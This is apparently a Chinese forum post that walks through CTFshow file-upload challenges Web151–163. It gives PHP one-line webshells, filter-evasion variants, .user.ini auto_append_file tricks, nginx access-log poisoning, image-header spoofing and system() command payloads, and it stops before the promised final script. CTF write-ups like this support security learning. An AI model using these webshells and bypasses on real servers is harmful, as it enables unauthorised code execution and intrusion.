首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
SAAS
ToB门户
了解全球最新的ToB事件
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
微博
Follow
记录
Doing
博客
Blog
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
排行榜
Ranklist
相册
Album
应用中心
qidao123.com ToB IT社区-企服评测·应用市场
»
论坛
›
软件与程序人生
›
前端开发
›
CTFshow 文件上传 Web151-170复现条记(保姆级复现 ...
返回列表
发新帖
CTFshow 文件上传 Web151-170复现条记(保姆级复现
[复制链接]
发表于 2025-11-14 02:32:02
|
显示全部楼层
|
阅读模式
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
×
前情提要:这是博主的第一篇文章,紧张是对于ctfshow中的文件上传标题的复现而写下条记,鉴戒了多少篇文章才复现完全,这也是我想写博客的缘故原由之一,后文会给出链接。假如文中有错误的地方接待各位师傅指正,还请多多包涵QAQ,那废话不多说,让我们开始吧!!
文章1
文章2
文章3
文件上传毛病干系知识
一、简单界说
文件上传毛病是一种常见的网络
安全
毛病,攻击者可以通过上传恶意文件(如脚本、可实行文件等)来获取对目标体系的控制权或实行未授权的利用。这种毛病通常出现在缺乏适当验证或限定的文件上传
功能
中。
二、条件条件
1、 文件可上传
2、上传文件可以被Web
容器
表明实行
3、上传路径可知
————————————————————————————————————————————
CTFshow复现 + 知识扩展
目次
Web 151
Web 152
Web 153
Web 154-155
Web 156
Web 157-158
Web 159
Web 160
Web 161
Web 162-163
Web 164
Web 165
Web 166
Web 167
Web 168
Web 169-170
Web 151 前台校验不可靠
回到目次
考点:前端校验,后端无验证
扩展知识:
前端校验是指在用户提交数据前,通过欣赏器或客户端对数据举行验证,通常利用JavaScript、HTML 表单属性等实现
后端验证是指在吸收到用户提交的数据后,
服务器
对数据举行校验和过滤,确保数据符合预期
故而,"前端校验,后端无验证"形同虚设,由于前端的验证可以被轻松绕过
复现过程:
1、按F12查察源
代码
发现只能上传png图片
2、修改为php
3、写个一句话木马
<?php eval($_POST[1]);?>
4、上传一句话木马,并发现上传乐成
5、找到我们上传的一句话木马,即在URL后加上upload/test.php
6、派出我们的HackBar(在Google和Firefox都可以直接安装),查察上级目次发现可疑文件
1=system("ls ../");
这里本人的简单明白是:上传了一句话木马后,我们便拿到了目标
服务器
的远程控制权限,就可以用下令查察我们所须要的文件了
7、查察可疑文件,拿到flag( •̀ ω •́ )✧
1=system("tac ../flag.php);
Web 152 后端校验要精密
回到目次
考点:前端仍然可以绕过,但是后端会对文件举行校验,须要抓包
个人总结:
前端校验改源码,后端验证抓它包
复现过程:
1、打开我们bp中署理板块的欣赏器
2、发现打不开网站,怎么会事呢(´。_。`),huh你不放行它肯定过不去啊
3、把它放已往发现网站加载出来了( •̀ ω •́ )✧,上传文件试试吧。诶,为什么体现文件格式不对呢,固然啊,它只让你放png,你放个php肯定不可啊,那怎么办呢?要不试试先把php改成png再上传?
诶,发现传上去了
4、将包放到重放器,并改文件png格式为php格式,重放归去
5、访问发现木马乐成实行
6、重复上述利用拿到flag
1=system("ls ../");
1=system("tac ../flag.php);
Web 153 后端校验要精密
回到目次
考点:文件后缀名+黑名单机制,可利用上传user.ini举行文件上传绕过
扩展知识:
1、在文件上传的
安全
防护中,文件后缀名和黑名单通常是为了防止用户上传恶意文件(如木马或脚本),从而掩护
服务器
免受攻击:
文件后缀名是文件名末了的部门,用于标识文件范例。文件上传
功能
中,后端通常会查抄上传文件的后缀名,以确保用户上传的是
安全
的、符合要求的文件范例
黑名单机制是一种安全计谋,用于克制上传特定范例的文件。比方,网站大概不答应上传以下文件:.php,.jsp,.exe,.zip等等
2、user.ini 文件是 PHP 的一种设置文件,答应开发者为特定的目次设置自界说的 PHP 设置选项,本题中user.ini的作用就在于绕过黑名单机制
复现过程:
1、上传一句话木马图片
<?php eval($_POST[1]);?>
2、接着上传user.ini,内容为auto_append_file=“test.png”。格式可以先改成png,后在抓包时再改返来
auto_append_file="test.png"
3、访问/upload发现上传乐成
4、老连招拿到flag
1=system("ls ../");
1=system("tac ../flag.php)
Web 154-155 后端校验要精密
回到目次
考点:文件内容过滤,过滤的关键字是php
复现过程:
1、既然过滤了php,那我们找一个东西取代php不就可以了吗( ̄︶ ̄)↗,试试用=取代php吧
<?=eval($_POST[1]);?>
2、和上一题同样的利用
auto_append_file="test.png"
3、老例子,访问看看乐成与否
4、拿到flag
1=system("ls ../");
1=system("tac ../flag.php);
Web 156 后端校验要精密
回到目次
考点:文件内容过滤,过滤的关键字是php+[ ]
复现过程:
1、在之前的根本上有过滤了[ ],过滤的[ ]可以用{ }取代
<?=eval($_POST{1});?>
2、照旧上传user.ini
auto_append_file="test.png"
3、访问发现上传乐成
4、好了,去拿flag吧( •̀ ω •́ )✧
1=system("ls ../");
1=system("tac ../flag.php);
Web 157-158 后端校验要精密
回到目次
考点:文件内容过滤,过滤的关键字是php+[ ]+;
复现过程:
1、在此前的根本上又双过滤了;,而在短标签里可以不要;,以是可以直接扒flag下来(坏笑
<?=system('tac ../f*')?>
2、别忘了user.ini
auto_append_file="test.png"
3、我们直接访问,拿flag
Web 159 后端校验要精密
回到目次
考点:文件内容过滤,过滤的关键字是php+[ ]+;+( )
复现过程:
1、在此前的根本上又双叒过滤了( ),那就用反引号取代吧QAQ
<?=`tac ../f*`?>
由于( )被过滤了,以是system也别想活着
2、老例子
auto_append_file="test.png"
3、访问得手
Web 160 后端校验要精密
回到目次
考点:过滤了php,实行函数,反引号等,不能在图片中藏一句话木马,而且过滤了关键字log,要用拼接绕过
复现过程:
1、上传图片和user.ini,图片的内容为<?include"/var/lo"."g/nginx/access.lo"."g"?>
<?include"/var/lo"."g/nginx/access.lo"."g"?>
auto_append_file="test.png"
扩展知识:
<?include"/var/lo"."g/nginx/access.lo"."g"?>是一段 PHP
代码
,其作用是包罗(读取并实行)指定路径的文件内容
假如这段
代码
被放入一个 PHP 文件中并运行,它会实验包罗 /var/log/nginx/access.log 文件的内容,假如乐成,文件内容将作为 PHP 代码分析并实行(假如文件中包罗可实行 PHP 代码)
而且为了应对过滤关键词log,利用了lo"."g举行更换
/var/log/nginx/access.log 是 Nginx 服务器的默认访问
日志
文件路径
2、访问,并修改ua头,用上我们的一句话木马
<?php eval($_POST[1]);?>
3、老办法拿到flag
1=system("tac ../flag.php);
Web 161 后端校验要精密
回到目次
考点:和Web160根本划一,唯一的区别在于后端会检测png文件是否真的为png,以是要加上图片头GIF89A
复现过程:
1、记得加GIF89A( •̀ ω •́ )✧
GIF89A
<?include"/var/lo"."g/nginx/access.lo"."g"?>
GIF89A
auto_append_file="test.png"
2、得吃(~ ̄▽ ̄)~
1=system("tac ../flag.php);
Web 162-163 后端校验要精密
回到目次
考点:本题有三种解法,分别是session包罗,远程文件包罗和data伪协议。这里给出session包罗的题解,详细原理参考https://www.freebuf.com/vuls/202819.html
复现过程:
1、起首正常上传user.ini,抓包后将文件后缀名改回即可,由于还会验证png,以是仍要加上图片头GIF89A
GIF89A
<?=include"/tmp/sess_wuqiong"?>
2、接着上传test,抓包后将文件后缀名改回即可,由于还会验证png,以是仍要加上图片头GIF89A,too
GIF89A
auto_append_file="test"
3、末了搬出脚本
回复
使用道具
举报
返回列表
浏览过的版块
Java
分布式数据库
SQL-Server
DevOps与敏捷开发
Oracle
物联网
开源技术
云原生
惊雷无声
+ 我要发帖
登录后关闭弹窗
登录参与点评抽奖 加入IT实名职场社区
去登录
微信订阅号
微信服务号
微信客服(加群)
H5
小程序
快速回复
返回顶部
返回列表